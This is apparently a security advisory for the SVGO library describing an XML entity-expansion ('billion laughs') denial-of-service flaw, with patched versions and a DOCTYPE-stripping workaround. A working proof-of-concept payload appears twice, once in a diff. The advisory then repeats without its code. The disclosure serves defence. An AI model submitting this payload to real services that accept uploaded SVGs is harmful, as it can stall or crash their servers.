Summary
SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory.
Details
The upstream XML parser (sax) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the DOCTYPE, inserting them into parser.ENTITIES, and enabled unparsedEntities. This gives us the desired behavior of supporting SVGs with entities declared in the DOCTYPE.
However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them.
Proof of Concept
import { optimize } from 'svgo';
/** Presume that this string was obtained in some other way, such as network. */
const original = `
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
`;
optimize(original);
Impact
If you run SVGO on untrusted input. (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash your application with an SVG < 1 KB in size.
It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines.
Patches
We've patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore.
Workarounds
== 4.0.0
For v4, you do not specifically have to upgrade SVGO, though it is recommended to do so. You can use your package manager to upgrade sax recursively:
For example:
New options were introduced upstream which makes the way we parse SVGs safe by default.
>= 2.1.0, <= 3.3.2
Users of v3 and v2 will have to take manual action. If you can't upgrade, you may be able to work around this if you don't require support for custom XML entities, though it's not a simple flag.
You can parse the DOCTYPE yourself and check for the presence of custom entities. If entities are present, you can throw/escape before passing them to SVGO.
+ import SAX from 'sax';
import { optimize } from 'svgo';
- const original =`
+ let original = `
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
`;
+ const parser = SAX.parser();
+ /** @param {string} doctype */
+ parser.ondoctype = (doctype) => {
+ original = original.replace(doctype, '');
+ }
+ parser.write(original);
optimize(original);
References
Summary
SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with
JavaScript heap out of memory.Details
The upstream XML parser (sax) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the
DOCTYPE, inserting them intoparser.ENTITIES, and enabledunparsedEntities. This gives us the desired behavior of supporting SVGs with entities declared in theDOCTYPE.However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them.
Proof of Concept
Impact
If you run SVGO on untrusted input. (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash your application with an SVG < 1 KB in size.
It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines.
Patches
We've patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore.
Workarounds
== 4.0.0
For v4, you do not specifically have to upgrade SVGO, though it is recommended to do so. You can use your package manager to upgrade sax recursively:
For example:
New options were introduced upstream which makes the way we parse SVGs safe by default.
>= 2.1.0, <= 3.3.2
Users of v3 and v2 will have to take manual action. If you can't upgrade, you may be able to work around this if you don't require support for custom XML entities, though it's not a simple flag.
You can parse the DOCTYPE yourself and check for the presence of custom entities. If entities are present, you can throw/escape before passing them to SVGO.
References